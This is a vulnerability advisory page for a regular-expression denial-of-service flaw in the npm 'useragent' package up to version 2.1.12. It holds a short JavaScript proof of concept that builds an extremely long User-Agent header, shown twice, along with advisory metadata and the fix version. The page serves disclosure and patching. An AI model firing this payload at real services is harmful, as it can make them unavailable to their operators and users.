GHSA-PJMX-9XR3-82QR
Vulnerability from github – Published: 2018-07-24 19:59 – Updated: 2023-09-06 20:07
VLAI?
Summary
ReDoS via long UserAgent header in useragent
Details
Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.
Proof of Concept
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
Recommendation
Update to version 2.1.13 or later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.12"
},
"package": {
"ecosystem": "npm",
"name": "useragent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16030"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:49:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require(\u0027useragent\u0027);\n\nvar badUserAgent = \u0027MSIE 0.0\u0027+Array(900000).join(\u00270\u0027)+\u0027XBLWP\u0027;\nvar request = \u0027GET / HTTP/1.1\\r\\nUser-Agent: \u0027 + badUserAgent + \u0027\\r\\n\\r\\n\u0027;\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.",
"id": "GHSA-pjmx-9xr3-82qr",
"modified": "2023-09-06T20:07:59Z",
"published": "2018-07-24T19:59:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16030"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-pjmx-9xr3-82qr"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/312"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "ReDoS via long UserAgent header in useragent"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…